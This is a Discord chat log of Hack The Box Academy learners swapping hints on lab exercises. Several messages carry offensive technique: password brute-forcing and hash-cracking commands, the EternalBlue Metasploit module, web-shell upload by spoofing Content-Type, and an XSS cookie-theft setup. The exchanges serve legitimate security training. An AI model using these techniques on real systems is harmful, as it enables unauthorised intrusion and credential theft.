modules

[loud sapphire]

so far people have helped me.

I just need to know what i am missing with adm group.

[iron basin]

I do nslookup -type=NS ns.inlanefreight.htb

doesnt work, but dig does. but I believe the issue is not mapping the IP address to the hostnames.

[lethal atlas]

ns.inlanefreight.htb is the nameserver. if you did nslookup -type=NS inlanefreight.htb you should get ns.inlanefreight.htb in the response.

[iron basin]

@lethal atlas still doesn't work

[loud sapphire]

Got it. i was in the right place but wasnt paying attention

[lethal atlas]

but dig works?

[iron basin]

@lethal atlas Yes, not sure why nslookup isn't.

I mapped the proper hosts to IPs in /etc/hosts

[lethal atlas]

ooooohhh i remember.. add the ip to the end of the command

the target ip

nslookup -type=NS inlanefreight.htb <targetip>

[iron basin]

@lethal atlas Thank you! I answered most of the questions already i just wanted to figured out why that tool wasn't working. I tried that earlier but did it with @rustic sageip and this time just tried it with the IP and it worked

[lethal atlas]

glad I could assist you

[iron basin]

[brave prawn]

Hey, can someone help with this question in Active Directory Enumeration and Attacks module Assignment 2?

[undone belfry]

hi can u help me too, with this one?

[bitter comet]

I know the answer is in front of me but I'm past the point of overthinking it. I'm stuck on Login brute forcing, assessment - website question #2

[rustic sage]

I believe in you

[bitter comet]

I have the username, but the passlist doesn't turn up anything

[vital adder]

if you got the right user the password should be in ||rockyou|| but if you still get nothing after a while or get some false positive check your fail string in hydra (the F= thing)

[vital adder]

check under ||SCAN TECHNIQUES|| in nmap help and hint it isn't ||TCP||

[bitter comet]

thank you for the reply, rockyou has been running for about 25m now and nothing's come of it

I'm almost certain I have the fail string, because I was getting false pos originally, but I haven't gotten them since

[vital adder]

that's weird if you are still stuck dm me your hydra command i'll help you with that

[west canopy]

i found this video walkhtrough online , the guy recording is a noob though:
https://rumble.com/vrjon5-hack-the-box-academy-login-bruteforcing-with-hydra.html

[bitter comet]

and a sense of humor! thank you so much

[vital adder]

oh wait the guy in that video use the same syntax as @bitter comet but his work

[bitter comet]

almost identical, but it seems that I skimmed over part of the burp suite output

my fault, and thank you @vital adder @west canopy

[cyan parrot]

Anyone able to give a nudge on Web Service & API Attacks - Skills Assessment? created a custom soap request but script seems to just hang

[bitter comet]

I'm doing the labs in the VMs though, and foxyproxy isn't preinstalled. Guess it makes more sense to do them on my own

[west canopy]

pwnbox should have burp and foxyproxy ready to go

[vital adder]

nope that's dumb the new pwnbox remove foxyproxy and that is F ing annoying also the terminal spawn you in /root so you have to cd out

[bitter comet]

no clue what changed then, I've had to install foxy each instance

[little helm]

So i am doing the "getting started module". I feel like a little kid that is learning all the chess pieces. Loads of fun.

[bitter comet]

tons of good info in there, I learned some new strategies going through it

[vital adder]

hint ||you can use a payload show in previous section||

[west canopy]

interesting , i just checked and it looks like you're right

[vital adder]

and try using the terminal it will spawn you in /root

[cyan parrot]

that's what I was doing but changing it. Mind if I DM quick?

[vital adder]

sure

[acoustic owl]

Have a look with ||Mimikatz on SQL01 for credentials||

[outer vault]

Any hints for Footprinting HARD lab? I can't access mysql db, couldn't figure out password(figured out user's group being mysql)

[outer vault]

Got it!

[rugged stag]

Can someone give me a hint in which directory I can find the flag of the Hacking Wordpress - Directory Indexing flag? I've been enumerating directories for 90 mins now and can't find it. Is it really in the /wp-includes/ directory?

[maiden kraken]

how do i hack a google account

????????????????????????????

[autumn pilot]

we don't do that here

[vital adder]

"directory listing enabled" mean you can view all file in that directory so find the directory that you can access file and look for the flag there and hint it isn't in ||/wp-includes||

[rugged stag]

Thanks for the hint. Another user here suggested that the flag indeed is in the ||/wp-includes/ ||, so I guess it's my bad to actually believe that. Apart from that, what is the sense in making an exercise that let's you easily go down a path where you waste 90 min with no learning effect at all. Now I'm really good at changing directories after having "practiced" it for 90min. I feel really prepared for the exam now, wohoooo. How would I know that they wouldn't hide the flag in some sub-sub-sub directory of ||wp-includes||? Just one more example of HTB not caring about stating the point of the exercises clearly enough and wasting my (as in "the paying client's") time and money. This is so utterly disrespectful.

I really enjoyed this academy in the beginning, but over time I realize that I've become so frustrated and disheartened about the way the exercises are designed. I don't care if it's hard. It's supposed to be hard, that's how you learn. But "hard" is not the same things as "having no clue about what you actually shoud do". And that problem cannot be solved by just saying "think outside the box" all the time. That's neither helpful nor funny (except for the ones who designed the exercises maybe, I don't know, maybe I just don't get their humor).

[vital adder]

yeah some stuff on htb academy is a bit dumb especially the new pwnbox but in this case the question clearly said there is directory listing enabled so you need to find the directory that have directory listing enabled

i mean i still lost more brain cell on htb academy then tryhackme

[pale oak]

yeas hi is right

watch go ingon

[rugged stag]

You're one of the many nice people here who (thank god) help people like me when the exercises are not made well enough to understand them, so thank you. I'm not arguing against anything you say, and you're absolutely right, in this case, it was clearly stated what they want (not so in many other cases). The problem with this one is that there are just so many folders to look through, and that can take a lot of time with no learning effect at all. So, they should have reduced the amount of possible folders to manually sift through. What good does it do me to do the same (tedious) step 100 times instead of 10 times.

I guess this one was just the last bit that unleashed my rant, there are so many exercises that are either time wasting, or not explained well, or utterly confusing. So, I just couldn't hold it in anymore. It's super disrespectful from HTB's part.

[pale oak]

ARE ANY PEOPLE HEARE WHO CAN TEACH ME ABOUT SOME DENGARUS TOOL OF TERMUX

[pale oak]

IF ANY ONE CAN TEACH ME THAN DM ME

[vital adder]

oh yeah you're right there is a lot of directory in ||wp-includes||

[undone belfry]

can i dm you?

[vital adder]

sure

[vital adder]

use terminal

[summer lava]

Please can someone help me with CISCO IOS images..

[timber hatch]

Could somebody help me with the ATTACKING ENTERPRISE NETWORKS Service Enumeration & Exploitation

Question: Enumerate the accessible services and find a flag. Submit the flag value as your answer (flag format: HTB{ }).

I found with Gobuster the login page...tried to fuzz... that did not work... does anybody have a hint for me?

[placid quest]

@timber hatch maybe try sql injection or default passwords

[vital adder]

i would say far but not that far and i would not move on to college there is a lot of cyber security certifications out there i would go for that

[robust drift]

hi somaone that help me with a hit broken authentication bruteforce password please

[woeful oxide]

Dm me

[timber hatch]

have you done the module? i've tried now also with sqlmap...no succes. I dont know...shouldn't be that hard i think...but at the moment im stuck😩

[acoustic owl]

there are other services than the web server 😉

[brave prawn]

Sorry, can I ask you some questions about Active Enumeration and Attacks. Can't really understand one thing

[acoustic owl]

Sure

[pure flint]

Hello

[warped cape]

Hi, I am stuck on Bruteforcing Cookies in quesiton 2, I have my HTBPERSISTENT cookie decode it using URL and Base64 but after I don't know what I use to have it in plain text ? can someone help me ? 🙂

[timber hatch]

really... I thought i tried the other ports within the explanation of the module...

and at the end the conclusion was, only the webserver is left...

[woeful oxide]

Dm me

[acoustic owl]

The web server is still coming, but is not the right choice for this question

[cyan parrot]

If anyone was able to get a sqli work on Web Service & API Attacks - Skills Assessment send me a DM. I solved it but with sqli

[cobalt meteor]

hi

I need some hackers to help me.

I will pay 1-2btc as a thank you.

[timber hatch]

I tried

1. ftp login with anonmyous; there you see al flag.txt; can't open
2. trieh ssh connection with the following credentials: admin:admin, root:toor, admin:Welcome, admin:Pass123
3. Trie to enumerate the smtp server with nmap -p25 --script smtp-enum-users --script-args smpt-enum-users.methods={VRFY} 10.129.68.4
   and nmap -p25 --script smtp-enum-users --script-args smpt-enum-users.methods={VRFY} 10.129.68.4 and nmap -p25 -Pn --script smtp-open-relay 10.129.68.4
4. connected with telnet; verified with VRFY that the user root exits and also www-data
5. made connection with telnet to 10.129.68.4 110; tried user www-data; that gives me -ERR [AUTH] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.
6. tired rpcinfo 10.129.68.4 and have consulted hacktrick but found nothing.

could you give me a hint which number i should further investigate?

[storm dagger]

#rules No. 4 ;)

[acoustic owl]

No 1
||ftp> mget *||

[cobalt meteor]

ok

[latent sage]

hello evryone please need someone to help me on the metasploit module precisely on the session and jobs section i have precise question to ask

[timber hatch]

permission denied... tried to change permission with chmod... doesnt work...am I dumb? haha

[rustic sage]

Are you running from a local folder your current user has write access to?

[timber hatch]

can't really change the directory... with ls -la there is the file, and "." and also ".."

[rustic sage]

On your end

Make sure the folder you connect to ftp from you can write to without sudo

[timber hatch]

oh god...thanks....

[rustic sage]

Yeah, made that mistake myself!

[timber hatch]

thanks man.. but i think on my own kali i never had that problem...

[rustic sage]

It happened to me on my kali vm, I rarely use pwnbox

[timber hatch]

ok. thanks. learned something new :)!

[pliant panther]

yo question!

ive been working on this animation for 4 years though quarter half of it is nearly finished know how to speed up the process?

[storm dagger]

the default pwnbox directory in your terminal is /root which isn't writeable by your htb user ^^

Should probably be changed

I've seen like 3 people with this issue already

[iron basin]

Anyone have any advice on how to properly use ffuf? I am on the web information gathering module for HTB academy. Currently on the vhosts part but I am stuck on successfully using ffuf. The following command gives me output error “ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -w www.inlanefreight.htb -H “Host: FUZZ” -fs 612”

[rustic sage]

FUZZ.inlanefreight.htb

[placid quest]

@iron basin look for the content-length

[rustic sage]

-fs is filter size!

[iron basin]

@rustic sage I tried that, am I suppose to put that with the -w flag or like this: -H “Host: FUZZ.inlanefreight.htb”?

ye i have is filter 612 as the module said its the default response length

[rustic sage]

In the host header

[placid quest]

@rustic sage you need to have content-length to use -fs

[iron basin]

@placid quest Ye I am just not able to have it to operate properly

[placid quest]

@iron basin To get the content-length you need to use curl and grep the content-length

[rustic sage]

Or you just run it for a few seconds and see what is coming up most of the time!

Which can be useful for fuzzing attempts where the fuzzed input is included in the output and you may need to filter by word or line count

[hollow hinge]

Dm

[iron basin]

Hmm, gonna have to keep working on this. @placid quest I am trying this now, Ill keep working on tryin. Thank yall for your help

[rustic sage]

Have you done the ffuf tier 0 module?

[iron basin]

@rustic sage No, was working on the web information gathering module. Think ima go give it a gander cause I finally got ffuf to work but still a little confused.

[worthy laurel]

Hey Guys,

Going through the Priv Escalation Module. I am trying to follow this based on the description given. I was able to SSH in and after 1 hour transfer my linpeas.sh file over. But failed due to having no permissions. I managed to get access using chmod but it didn't seem to do anything when i run the file.

Looks like i run out of time and had to reset the box. Now i can't seem to scp it over. Once the command has bee run, nothing shows up on the victim's box like it did before. Am i doing this section correctly?

Just need a nudge in the correct direction.

https://academy.hackthebox.com/module/77/section/844#questionsDiv << Link to module

[west canopy]

No file transfers are necessary in this section.. in fact i think the box is configured not to allow file transfers last time i tested.

[worthy laurel]

gotcha, i'll take another look at it.

[west canopy]

we should be able complete the exercises using techniques shown in the section 😉

[worthy laurel]

yeah it showing to use Enumeration Scripts, which is what i was attempting. But must be another way to do so

[rustic sage]

You should be able to upload the script using a simple webserver on your vm and wget it from the target

[worthy laurel]

yeah i tried that, but just get a returned connection error

[rustic sage]

I don't remember the exact process, have you tried using a common port like 80 for the webserver?

[worthy laurel]

Yeah just get a ``unable to resolve host address`

Normally i would just look via nmap but the IP doesn't show any ports. shows as offline

[rustic sage]

open ports is not the issue, you're connecting back from the target, so its about ports that are blocked by a firewall

[worthy laurel]

I'll have a dig around, thanks

[rustic sage]

Just loaded it up again, and jared is right. maybe look at how you can enumerate manually?

[vague spire]

hello, i'm new in htb communtiy
i try to do Academy\Windows Fundamentals but i'm stuck at this question :
What is the name of the group that is present in the Company Data Share Permissions ACL by default?
i got all other question, can someone help me ?

[worthy laurel]

Yeah i was looking at the now

[west canopy]

docker targets typically dont need to be nmapped as they will just have a single port open

[worthy laurel]

gotcha cheers

[west canopy]

Looks like the default group might be...|| Everyone ??||

[vague spire]

OH, i just misunderstood the question...
thanks you

[timber hatch]

till now at the academy i always used the browser based workstation, is it also possible with the own kali?

[west canopy]

yes you can use a VM, just need to download a vpn key
https://academy.hackthebox.com/vpn

[timber hatch]

thanks 🙂

[brave prawn]

It was interesting for me and i am not sure that such themes are discussed in this channel. Does the Junior Penetration Tester Path make you real junior penetration tester?) And are here any people who got the job after finishing this course and making some machines? I mean this path seems to be kinda hard, but I haven't got experience in this field to know exactly what level it gives to you

[placid quest]

@brave prawn you need to practice more

[sturdy igloo]

how did you solve this?

Error running chisel on victim: ./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
anyone can help on how to fix this?

[stiff moon]

https://github.com/jpillora/chisel/releases?

use a compiled one

i used socks4 i think

and use the right binary i took the wron one lmao

[west canopy]

i had the same error when i compiled the binary on my kali vm, when i compiled on PwnBox it worked fine

[sturdy igloo]

thanks, i am past that and now stuck on errors on ptunnel-ng on client

[sturdy igloo]

thank yo sir

[stiff moon]

np gl man ❤️

[sturdy igloo]

RDP and SOCKS Tunneling with SocksOverRDP - RDP to host with proxifier is taking forever saying "Configuring Remote Session". I have even changed to "modem" under "experience". any suggestions? nevermind

[high totem]

Any nudge on the hard lab in nmap module, please? I think I established the port but I can't get past the firewall.

||I think the target port is 990 (ftps). I tried setting source port to 53, using decoys, setting a source ip to some ip which should be in the target's subnet (cannot establish the connection then) and different types of scans (SYN, ACK)||

[rugged stag]

I'm stuck with the Web Service & API skill assessment. I can do the ||SOAP Action spoof||, but I don't know how to go on from there. I tried|| fuzzing the parameters||, but no luck.

I'm confused about how I cut put the steps from the lessons together to solve this. Any help would be very appreciated.

[meager solstice]

Hi

[vital adder]

hint check the re-check the ||Firewall and IDS/IPS Evasion|| section and if you still can't get it feel free to dm me

[vital adder]

did you use any ||payload from SOAPAction Spoofing?|| and if you already got RCE the flag ||should be in one of the file||

[rugged stag]

Found it. Thanks a lot (again) 😃 .

[vital adder]

hi @cyan parrot @swift dune sorry for the ping but i think i found the intended way of exploiting the sql vuln in "Web Service & API Attacks - Skills Assessment " to get the flag and like the questions said you will need a "proper SQLi payload" mean if you send a request that doesn't have any kind of sql injection payload the server will hang so you can't test with normal cred and you also need to send it in a valid xml format

[fair mesa]

Hello everyone ! I need help on this :
Module (Shells & Payloads) Section
(The live engagement #host

the live engagement host#3.
I managed to get an aspx webshell on the target because on its HTTP port we can upload files and execute it.
But the user I land in has no rights at all, I can't move can't upload nothing

I tried Windows escalation privilege on Hacktricks but I don't manage to get it

[acoustic owl]

What kind of Windows is it? Maybe you can find an exploit for it? A very well known exploit...

[fair mesa]

I tried psexec eternal blue module on Metasploit but it says "The exploit sucess but no session was created"
And also I checked the SMBV1 shares are disabled on the target so I can't do it 😦 #help

[acoustic owl]

Try it with this Module ||exploit/windows/smb/ms17_010_eternalblue||

[fair mesa]

Ok I will try thanks, coming back !

[fair mesa]

Thank you very much it worked ! sometimes my mind gets confused xD, spend a good week-end !

[brave prawn]

Hey, I have some troubles with Web Proxy Assessment. I am sure that payloads built corretly, but I am not getting even response codes or some bodies with error html. Can someone help me to solve the problem? The result cookies are exactly 88 characters long as they are needed to be

[acoustic owl]

Feel free to DM me

[timber hatch]

hello
i work on the module attacking enterprise network
currently i am at the section Web Application Enumeration and there I try to upload a reverse shell with the help of burp.
when you try to upload than it says php is not allowed, with the help uf burp you cahgne within the repeater the content type to image/png and than you should be able to upload the shell.
I mean the i get a response with 200 status ok...but with curl i am not able to interact with the shell.
so i think it did not work. anybody knows why?

when i curl i get the the response 404 not found, so i think the upload with the repeater did not work. but why...?

[acoustic owl]

Which question are you on?

[timber hatch]

Web Enumeration & Exploitation is the chapter and than HTTP verb tampering.
i suppose the second question should i be able to answer after i am able to upload a shell

[acoustic owl]

This Question?
Exploit the HTTP verb tampering vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{})

[timber hatch]

yes

[acoustic owl]

If so, you can upload a WebShell exactly as explained in the module.
Do step by step exactly what the module shows.

[west canopy]

iirc for the entire web section in Enterprise Networks i was mostly able to just follow and recreate the steps

some of the later sections definitely threw me for a loop though

[timber hatch]

yeah i mean i thought i did...that's why i can't explain why it's not working.. 😉
but i'll watch it again 🙂

response:
HTTP/1.1 200 OK
Date: Sat, 17 Sep 2022 14:13:16 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
Via: 1.1 dev.inlanefreight.local
Connection: close

that's the response from the repeater after sending the request with the shell, seems that to be okay?

[sly nebula]

Is there any schedule for upcoming Academy modules?

[acoustic owl]

You should get the message "File uploaded /uploads/5351bf7271abaa2267e03c9ef6393f13.php".

[west canopy]

there are several modules currently in development and should be released october/november i believe 😉

[west canopy]

can you let me know specifically which question # you are working on? I can check my notes and see what it looked like on my end when i went through it

[acoustic owl]

Yeah 🎉
Any hints what modules there will be?

[west canopy]

let me make sure i wont get in trouble first lol

[acoustic owl]

#modules message

[timber hatch]

okei I give up. Does not work 😉

[west canopy]

here are the steps i have in my notes

i was a bad boy and named the file shell.php instead of a random hash value

[timber hatch]

thank you...i see my mistake....
It has two Content-Type and I always changed the upper one, but at the bottom it also has one and that should be changed...
Annoying I should have seen...and tried....

[west canopy]

np 🙂 hope this helps!

[twilit cipher]

Anyone able to help out with the Session Security Assessment. I am pretty sure I am doping the right thing at the provided endpoint. I have the admin browsing to my hosted payload and pick it up, but he's not being very nice and dropping off his cookie like I asked him to...

[rugged stag]

Hey, great advice! Thanks! But when I put the ||XSS payload on Julie Roger's profile|| and test the ||"cookie stealing" by clicking on "share"|| it works great, I see the ||auth-session cookie in the php server log||. But when I request her profile page via the API endpoint, the server log just says|| "GET /script.js"|| and shows nothing else. I must be missing something but I don't see what. Any advice?

[west canopy]

thats super weird... are you on PwnBox or VM?

[rugged stag]

On VM.

[west canopy]

maybe ||respawn the target, make the api endpoint visit her page prior to the XSS so it can generate a session cookie, and then try the attack again?||

[rugged stag]

Will try. Thanks.

[west canopy]

we can also do it without ||script.js|| i think , but exactly how to do it and what it looks like i couldnt tell you

[rugged stag]

I got it. My bad. I put the wrong IP in the ||script.js|| file. I put in 127.0.0.1 instead of the tun0 IP. So, the ||script.js|| got called, but not the|| index.php|| afterwards.

[shrewd wasp]

Hello, can anyone help me with the "GET" module from "Web Request" section, I can't find the flag

[brave prawn]

Can I ask someone a question about Attacking Web Apps with Ffuf Assesment?

[sturdy igloo]

help needed if can. stuck on pivot, tunnel skills assessment 5th question "For your next hop enumerate the networks and then utilize a common remote access solution to pivot. Submit the C:\Flag.txt located on the workstation."

Transferred |lsass.exe| to my machine but cracking with rockyou provided nothing.

[forest fulcrum]

hey there, need a little nudge on Network Enumeration with Nmap, lab 11 (Firewall and IDS/IPS Evasion - Hard Lab)

I've tried all possible decoy combinations, no avail

[west canopy]

have you done an ||all tcp ports|| scan? we defintiely need to|| spoof our source port to masquerade as a trusted service.||

[forest fulcrum]

yes, I know that the "service" in question is using TCP now, I also did the source port spoof like you said, still says "filtered"

or am I missing something?

[west canopy]

DM me 😉

[forest fulcrum]

sure

[woeful oxide]

Hey fellow hackers, im stuck at the IDOR enumeration, my bash script is not working and I don’t really understand why, someone could give me a hand?

[west canopy]

Web Attacks - Mass IDOR Enumeration?

[woeful oxide]

That’s right

[west canopy]

i just ||fuzzed the uid parameter in burpsuite||

[woeful oxide]

Got it, let me try that

[west canopy]

So we can use this search.php to search for different city names... what if we just|| search for "flag"|| ?

[woeful oxide]

It was really easy, thanks @west canopy

[rustic sage]

htb-student is not in the sudoers file. This incident will be reported.

why does it keep getting reported

[shrewd wasp]

@west canopy hey, thanks about the GET problem, but could you help me with the next one? "POST"

[storm dagger]

Thats just the default text when you try to sudo without being in the group

Usually just gets logged somewhere on the machine

[rustic sage]

linux always finds a way to make everything sound scarier than it is

[shrewd wasp]

Or anyone

[storm dagger]

https://xkcd.com/838 ^^

[rustic sage]

fr

[little helm]

Flag should be coal.

[brave prawn]

Is there anybody who have troubles with target machine? Can't ping machine almost 2 hours. Tried to restart hundreds of times, but nothing

[placid quest]

@brave prawn check your vpn

[brave prawn]

i am on the pwnbox

[placid quest]

Change the server of vpn@brave prawn

[brave prawn]

what? i am not using my local machine, but virtual environment by hackthebox

I don't understand wtf....

[west canopy]

docker targets aren't pingable 😉

[brave prawn]

that s not about ping only, i can't access the url now that could access 2 hours ago

[novel matrix]

Targets with port are able to access externally

Meaning vpn is not required

[brave prawn]

i am on the pwnbox

[little helm]

after banging my head, i got the root flag on the last section "getting started". that feeling tho

Seriously though, knowing what I needed to do, but then getting it to do what I want and get the exact subtle command right. I need a nap

[brave prawn]

same thing if i curl externally. PS I added this domain to hosts

[lyric kettle]

Is anyone able to help with "Active Directory Lab" - the "Credentialed LDAP Enumeration" section. The last question, is asking which userAccountControl bitmask for 2 specific properties. I have validated I have the right decimal values from 3 separate websites, including Microsoft, and no matter what I type, its not accepting the values.

[lyric kettle]

OMG I am an idiot, it was literally asking to add the two together, and provide the cumulative bitmask. I spent 2 hours for such a silly mistake. Disregard

[little helm]

I spent 2 hours today on asking why the "shell command" didnt work on meterpreter, turns out, it just didn't show a prompt or anything. you can just start typing. 2 hours of breathing. Just gone into black abyss of cold space.

[lyric kettle]

Its always something silly

[modest kraken]

I think we're all idiots its just matter of being less of one as time goes on

or trying to lol

[storm dagger]

I just spent 10 minutes trying to figure out why I couldn't LFI /etc/passwd until I remembered I was on a windows box, so yeah always something silly :D

[woven hollow]

Can anyone assist with common services easy lab? I am having trouble figuring out how to upload my shell to the web server.

[novel matrix]

which module is this and what is the section name of the module?

[vital adder]

i think that's the common services module skills assessment easy lab

[vital adder]

if you are trying to upload your shell with the ||ftp|| method you will need to use a ||php payload with powershell|| and for the location recheck the ||ftp|| section, the directory in the example is at ||C:\ || and try to upload your shell it in to web directory

[rustic sage]

algum br ai?

[rugged stag]

I have a problem with wpscan (for Hacking Wordpress module, Skill Assessmnet). When I try to scan the target it says, "Scan Aborted: The remote website is up, but does not seem to be running WordPress." (on my VM)

On Pwnbox, I get a ton of error messages (see screenshot).

I researched the problem here, someone said, "it's DNS", but changing my DNS in the network settins didn't help.
Any ideas, anyone? 🤔

[acoustic owl]

Take a good look at the website. ||The main page is not Wordpress||

[vital adder]

first for the wpscan the new pwnbox break it try running just wpscan you will get the same error to fix that just re-install wpscan with sudo apt-get purge wpscan -y && sudo gem install wpscan

oh wait didn't you already done this section? the last time you ||know that page isn't running wordpress||

[rugged stag]

No, I haven't done the skill assignment yet. I asked about the same problem a while back, though, but didn't get any answers so I did other assignments meanwhile.

[rugged stag]

Thanks, I'll take a closer look.

[vital adder]

ok that's weird the last time you did the directory listing enabled thing and you did access some wordpress stuff which you can't if you didn't found the site

[rugged stag]

Oh, now I know what you're talking about. The last one was another exercise from the wordpress module. This one is the skill assignment from the wordpress module.

[vital adder]

ohh

[rugged stag]

Anyone knows where to report the constant crashes of the "File Inclusion" skill assessment machine? At least on my side it crashed every couple of minutes, which makes doing the assignment virtually impossible. I've complained about it in the past and did other assignments meanwhile, but it's still the same. Does anyone know who best to contact about these problems?

[mellow turtle]

Support

[brave prawn]

Hey, can someone test target machine on Attacking Web Application with FFUF Module Assesment? I think there are some technical problems with it...

[mellow turtle]

Skills assesment?

@brave prawn

[vital adder]

what's the issue?

[mellow turtle]

@brave prawn If your problem is that u cant find hosts read this again: https://academy.hackthebox.com/module/54/section/500

[brave prawn]

I have already found vhosts and made almost all questions, but in one moment the target stopped to response

[brave prawn]

Target machine doesn't response. I added vhosts to /etc/hosts, but not able to curl something

[mellow turtle]

time limit?

[brave prawn]

I restarted the target, pwnbox and my device multiple times, nothing

[mellow turtle]

Mine works

dm me how you are doing the curl

[mellow wind]

anyone can help me with this question "Crack the following hash: 978078e7845f2fb2e20399d9e80475bc1c275e06 using the mask ?d?s." I tried using hashid to fine the hashing mode but nothing works any hint ?

[nimble ridge]

can someone help me with this question: Enumerate the custom script that is running on the system and submit its output as the answer. It's under the snmp portion of footprinting

[coarse dove]

Hi, im at 'Skills Assessment - WordPress' . And i try to put in the /etc/hosts on my VM not on the HTB VM. I try : 10.129.2.37 blog.inlanefreight.local / 10.129.2.37 inlanefreight.local / 10.129.2.37 inlanefreight.HTB . The page not open ☹️ the connection take to long to respond.

[west canopy]

be sure to specify http:// in your browser

[coarse dove]

Not working

[brave prawn]

hey, can I dm you about Login Brute Forcing Module Website Assesment?

[west canopy]

sure

[west canopy]

i believe its a ||SHA1 ||hash 😉

[west canopy]

What are you struggling with exactly? I believe we just need to grab the right banner with ||snmpwalk||

[west canopy]

just tested on my kali VM, working fine on my end

[coarse dove]

Wath you ptu in /etc/hosts ?

[west canopy]

just ip address and domain name

[coarse dove]

Samething block i do not know wath, i keep search. Tnx for the help. meby the firewall setings

[nimble ridge]

do i not need to use onesixtyone or braa?

[shrewd wasp]

Hey, what should I do if the target ip's that HTB gave me are unreachable?

I am in the Getting started module, the "service scanning" challenge

[placid quest]

@shrewd wasp change the vpn server

[shrewd wasp]

Should I change from "Us" to "Eu"?

Still nmap cant scan it

[rugged stag]

OK, so I'm trying to do the "File Inclusion" skill assignment on the target machine that breaks down every couple of minutes. But I'm eager to get it done since it's the last skill assignment missing for the bounty hunter path.
Problem is, I've spent hours and days going through the stuff in the lesson, but I can't find the injection point or "hidden things" that other commentaries are talking about. Judging from other commentaries it can't be too hard, but I'm just not seeing it.
Any hint would be greatly appreciated. Thanks.

[hollow hinge]

Dm if you still need help

[rugged stag]

Hi, thanks for offering help. Am I right that either the “||page||” or the “||message||” parameter must be LFI vulnerable or am I looking in the wrong place? I know that “||page” filters commands that contain two “..”||.

[vital adder]

i know you already got help with this in the dm but if you or anyone esle need help with this part there is actually something in the cheat sheet that you can use for this part

also one of the parameter that you list are the right one so you may need to put spoiler tag on both

[hollow hinge]

I hope you learnt about encodings correctly in File Inclusion module

[hollow hinge]

For hint i would say, find visible pages name on the web and just use that || page || with encodings to read the source

[rugged stag]

Thanks I will try that

[twilit cipher]

I am working on the Hacking Wordpress Assessment, and I have all of the questions answered except for this super vague one:

Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

And the hint is a bit silly, can anyone help?

I have a stable reverse shell and ran find / -name "*flag*" 2>/dev/null which showed nothing...

Nothing I haven't already found, anyway.

[twilit cipher]

Doing grep -rn "HTB{" / 2>/dev/null but I feel as if I am missing something really obvious...

Also, I did run the scan with an API token...

I found it. 🙄

Took a little digging into the results for anyone looking back at this from the future....

[ashen orbit]

In the using web proxies module, setting up proxy chain sock4 with https 127.0.0.1 8080 throws an error even though the instructions say to use that set up?

[west canopy]

nope 😉

[wary basalt]

Hello happy to Start learning with you 😇

[nimble ridge]

can I get help with this question in footprinting - ipmi: What is the account's cleartext password? I found the hash but I'm unsure how to get it into cleartext. I've tried using the hashcat command as it's given to us but I think I'm missing something

[wheat garden]

whats the hashcat command your using?

[nimble ridge]

hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
i also tried using ipmi_passwords.txt

[wheat garden]

Might want to use just straight worldist attack using switch -a 0 and the popular rockyou.txt wordlist

[pine dagger]

Indeed. Use a standard wordlist.

I cracked it with john

[wheat garden]

hashcat -m 7300 -a 0 ipmi.txt <wordlist file path> possibly something like this

https://www.blackhillsinfosec.com/hashcat-4-10-cheat-sheet-v-1-2018-1/

[nimble ridge]

are you saying like this: hashcat -m 7300 -a 0 ipmi.txt OUTPUT_JOHN_FILE

[nimble ridge]

are you saying like this: hashcat -m 7300 -a 0 ipmi.txt OUTPUT_JOHN_FILE

[wheat garden]

hashcat -m 7300 -a 0 ipmi.txt /usr/share/wordlists/rockyou.txt

hashcat -m 7300 -a 0 ipmi.txt /usr/share/wordlists/rockyou.txt thats the default file path to rockyou.txt wordlist in kali

[iron basin]

Hey, is there a word list that parrot or the vm have that is a good word list for vhosts?

[west canopy]

i usually use a wordlist from Seclists/Discovery/DNS

[iron basin]

Thank you @west canopy

[ashen orbit]

Go pack Go

[vale salmon]

So I'm working on Active Directory Enumeration and Attacks and I'm in the ACL Enumeration section. Trying to figure out the last question, about the ObjectAceType that the forend user has over the GPO Management group. I'm trying to use Get-DomainObjectACL, but it keeps freezing on me. Can anyone give me a quick bit of help?

[west canopy]

yes the command hangs, i was able to find the solution with google

[vale salmon]

Word. I'll look then. Thanks!

[odd kayak]

Heyy frnds 🙌🏻🙌🏻🙌🏻🙌🏻

I am new here

And I am trying to start my career in cybersecurity......so can anybody help me out to .......

How and when should I start my new career 😬🥲🥲

Please some of this server suggest me about it🥲🥲🥲🥲

[vital adder]

@odd kayak https://www.youtube.com/watch?v=lhz0-qAQlBM

[odd kayak]

Bruhhh I had already seen these type of stuffss

But I want suggest from a Hacker 😬😬😬😬

That how he /she had started his/her career

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[languid dawn]

alternatively, just do CTFs

[burnt stone]

Hi - Start off with verifying /verify. This allows you gain access to more channels and ask your question in a relevant channel

This channel is for HTB Academy

[little whale]

Please see your DMs for instructions on how to verify your HTB account.

[burnt stone]

#bot-commands please

@mellow turtle

[mellow turtle]

Sorry 🙂

[sudden shore]

Having issues with the broken auth module - bruteforcing passwds. I found the minimum policy needed, cant find the right passwd and keep getting rate limited. What am i doing wrong here? Thankss

[muted hull]

Hello, could i get some help please?
I'm trying to do the last question in the getting started module in the service scan section.
For some reason i can't seem to get the flag.txt file but i keep getting the "Error opening local file flag.txt"
Did i miss a step?

[sudden shore]

@muted hull try get * or get . Also maybe do a dir first to check for available files

[muted hull]

I end up with "get <filename> [localname]"

does that mean i must put the bob user?
i.e. "get flag.txt bob"
edit: didn't work either

woops forgot to include error section

well error still the same

[sudden shore]

@muted hull get flag.txt flag.txt

[muted hull]

no cigar

[mellow turtle]

Dm me

tropkal

[sudden shore]

I replied to my own post a few minutes ago @mellow turtle

I found the pwd but the challenge isnt working properly

[mellow turtle]

A*?

[muted hull]

Oh i see, so i'm not missing something very obvious

Cheers

[rustic sage]

get flag.txt

[muted hull]

hello mohit, please refer to

[mellow turtle]

i dont know but ./flag.txt?

"get ./flag.txt"

[muted hull]

Not either, but tropkal did say the challenge isn't working properly

so it looks like we should give up

[mellow turtle]

i dont think so

[muted hull]

i did try your suggestion though

didn't work

[mellow turtle]

I think he said the exercise he was taking isnt working properly

try this "get flag.txt /home/{username}/Desktop/flag.txt"

maybe its trying to write a file in a folder without permissions
